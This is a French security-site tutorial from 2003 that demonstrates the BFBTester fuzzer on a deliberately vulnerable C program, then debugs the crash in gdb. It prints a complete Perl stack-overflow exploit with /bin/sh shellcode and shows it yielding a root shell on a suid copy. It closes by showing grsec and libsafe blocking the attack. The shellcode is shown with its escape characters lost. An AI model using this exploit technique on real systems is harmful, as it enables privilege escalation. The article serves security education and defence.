SecurityVibes communaute securite et conformite
Email

Mot de passe




 Mot de passe perdu?

BfbTester audit la sécurité des binaires

Les vulnérabilités de type buffer overflow sont sûrement les plus répandues dans les systèmes Unix et Win32.
Article écrit par acz et proposé le 22 Apr 2003.

De nombreux binaires comme par exemple "su", "sudo" ou "linuxconf" sous linux ont un jour étés touchés par ce type de vulnérabilité. Comment détecter cette faiblesse sans avoir le code source sous la main ? BFBtester est la réponse.

BFBTester est un outil qui permet d'auditer la sécurité de binaires quand vous n'avez pas le code source. Pour ce faire, BFBtester par tenter de découvrir pour vous si ce binaire est vulnérable à un faille de type "buffer overflow" (dépassement de mémoire tampon) en exécutant le binaire avec des arguments de grand longueur combinés avec des switch variés et test aussi les variables d'environnement. Un exemple valant mieux qu'un long discours, nous avons testé pour vous BFBtester.

Configuration de notre machine:

[root@crazy acz]# uname -a
Linux crazy 2.4.19-16mdk #1 Fri Sep 20 18:15:05 CEST 2002 i686 unknown unknown GNU/Linux


Pour cet exemple, nous allons utiliser un programme très simple dont nous savons qu'il est vulnérable à un buffer overflow. Cependant, une fois compilé il faudra en oublier le code source.

/* foo.c */

#include
int main(int argc, char **argv)
{
char buffer[180];
if(argc>1)
strcpy(buffer,argv[1]);
printf("Miam...n");
}


On le compile.

[acz@crazy acz]$ gcc -o foo foo.c
[acz@crazy acz]$


On utilise bfbtester pour le tester et essayer de découvrir un problème de buffer overflow.

[acz@crazy acz]$ bfbtester -at foo
=> /home/acz/foo
* Single argument testing
* Multiple arguments testing
*** Crash ***
args: [51200]
envs:
Signal: 11 ( Segmentation fault )
Core? Yes


BFBtester vient de mettre en évidence le problème, essayons de le reproduire manuellement.

[acz@crazy acz]$ ./foo `perl -e 'print "A"x51200'`
Miam...
Segmentation fault (core dumped)


Excellent, le problème est bien là, BFBtester ne s'est pas trompé. Maintenant essayons de trouver manuellement la limite du segfault.

[acz@crazy acz]$ ./foo `perl -e 'print "A"x203'`
Miam...
[acz@crazy acz]$ ./foo `perl -e 'print "A"x204'`
Miam...
Segmentation fault (core dumped)
[acz@crazy acz]$ ./foo `perl -e 'print "A"x208'`
Miam...
Segmentation fault (core dumped)


Notre programme segfault quand on lui soumet argument d'une longueur supérieure à 204 caractères.
Que se passe t'il au niveau de la pile ? gdb est notre ami.

[acz@crazy acz]$ gdb foo
GNU gdb 5.2.1-2mdk (Mandrake Linux)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu"...
(gdb) run `perl -e 'print "A"x208'`
Starting program: /home/acz/foo `perl -e 'print "A"x208'`
Miam...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg
eax 0x8 8
ecx 0x40137620 1075017248
edx 0x8 8
ebx 0x4013a340 1075028800
esp 0xbffff970 0xbffff970
ebp 0x41414141 0x41414141
esi 0x40011a4c 1073814092
edi 0xbffff9c4 -1073743420
eip 0x41414141 0x41414141
eflags 0x10286 66182


Parfait ! On peut écrasé l'EIP, on remarque que dans notre cas l'EIP a été écrasée par 0x41414141qui vaut "A".
Notre programme est donc exploitable, on pourrait l'utiliser si il était suid pour obtenir un shell root.
Maintenant, nous allons écrire l'exploit qui va permettre d'utiliser cette vulnérabilité. Désolé pour les puristes, mais nous allons l'écrire en perl ;-)

#!/usr/bin/perl

### le shellcode qui execute /bin/sh
$shellcode = "x31xc0x31xdbxb0x17xcdx80" .
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" .
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" .
"x80xe8xdcxffxffxff/bin/sh";

### l'adresse de retour / ESP
$ret = 0xbffff970;

### la taille du buffer
$buf = 208;

$egg = 2000;

$nop = "x90";

$offset = 0;

if (@ARGV == 1) { $offset = $ARGV[0]; }
$addr = pack('l', ($ret + $offset));

for ($i = 0; $i < $buf; $i += 4) {
$buffer .= $addr;
}

for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++){
$buffer .= $nop;
}

$buffer .= $shellcode;
exec("./foo", $buffer,0);


Testons notre exploit.

[acz@crazy acz]$ perl x.pl
Miam...


Rien ne se passe, il va falloir trouver le bon offset pour notre système.

[acz@crazy acz]$ ./x.pl 20
Miam...
[acz@crazy acz]$ ./x.pl 80
Miam...
sh-2.05b$


Bingo, le shell code est passé, /bin/sh a été exécuté, notre exploit a fonctionné. Cependant nous n'avons pas un shell root car notre binaire n'était pas suid. Essayons pour voir...

[root@crazy acz]# chmod 4755 foo && chown root.root foo && ls -al foo
-rwsr-xr-x 1 root root 11470 avr 20 10:24 foo*


Notre binaire est maintenant suid, si l'exploit fonctionne nous obtiendrons un shell root.

[acz@crazy acz]$ id
uid=501(acz) gid=501(acz) groupes=501(acz)
[acz@crazy acz]$ ./x.pl 80
Miam...
sh-2.05b# id
uid=0(root) gid=501(acz) groups=501(acz)


Got r00t ! Nous avons un shell root.
Comment se protéger ? Personnellement je combine un patch grsec et la libsafe. Je ne vais pas détailler ces deux solutions ici, cela fera l'objet d'un prochain article.

Essayons la même opération avec ces protections.

bash-2.05$ ./foo `perl -e 'print "A"x208'`
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/acz/foo.
uid=509 euid=509 pid=10949
Call stack:
Segmentation fault


La libsafe nous avertit de la tentative de débordement de mémoire tampon.
Essayons quand même de l'exploiter.

bash-2.05$ ./x.pl 80
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/isecurel/sploit/foo.
uid=509 euid=0 pid=15544
Call stack:
Segmentation fault


L'exploitation de la vulnérabilité est impossible, avec grsec & libsafe, notre machine semble protégée de ce type d'attaque.
Voyons les traces dans /var/log/secure

Apr 20 13:05:08 crazy libsafe.so[15544]: Libsafe version 2.0.16
Apr 20 13:05:08 crazy libsafe.so[15544]: Detected an attempt to write across stack boundary.
Apr 20 13:05:08 crazy libsafe.so[15544]: Terminating /home/acz/foo.
Apr 20 13:05:08 crazy libsafe.so[15544]: uid=509 euid=0 pid=15544
Apr 20 13:05:08 crazy libsafe.so[15544]: Call stack:


Les traces dans /var/log/messages

Apr 20 13:07:17 crazy kernel: grsec: exec of [03:02:2191674] (./x.pl 80 ) by (bash:2371) UID(509) EUID(509), parent (bash:12822) UID(509) EUID(509)
Apr 20 13:07:17 crazy kernel: grsec: exec of [03:02:2191667] (./foo 200ùÿ¿200ùÿ¿200ùÿ¿200ùÿ¿200ùÿ¿200ùÿ¿200ùÿ¿200ùÿ¿200ùÿ¿
200ùÿ¿200ùÿ¿200ùÿ¿200ùÿ¿200ùÿ¿ ) by (x.pl:2371) UID(509) EUID(509), parent (bash:12822) UID(509) EUID(509)
Apr 20 13:07:17 crazy kernel: grsec: signal 11 sent to (foo:2371) UID(509) EUID(0), parent (bash:12822) UID(509) EUID(509)


Mots clés : bfbtester, bufferoverflow
Télécharger Brbtester
http://bfbtester.sourceforge.net/

Comments

Vous devez vous enregistrer afin de pouvoir commenter cet article. Cliquez ici pour créer un compte gratuitement!

Commentaires récents

Il y a 11 jours - j'avais essayé la version gratuite il y a à peu près 2 ans, à l'époque...
bforay à propos de Focus sur PrevX
Il y a 2 semaines - Google n'offre malheureusement plus la possibilité d'obtenir une clé pour...
Il y a 2 semaines - Bonjour, suite aux conseils d'un auditeur de chez Orange FT Group, j'ai voulu...
Il y a 3 semaines - La technologie peut être aussi un processus sous jacent et objet de...
Il y a 3 semaines - En temps de crise, j'imagine que les ventes sont un peu plus convoitées ce...
© SecurityVibes.com 2000 - 2009 | A propos | Devenir contributeur | Données personnelles | Nous contacter | Devenir membre
Pages Spéciales: Les mots à coucher dehors !, Owasp NYC AppSec Conference 2008, Infosecurity France 2008, CyberCrime, Fusions et Acquisitions en 2008.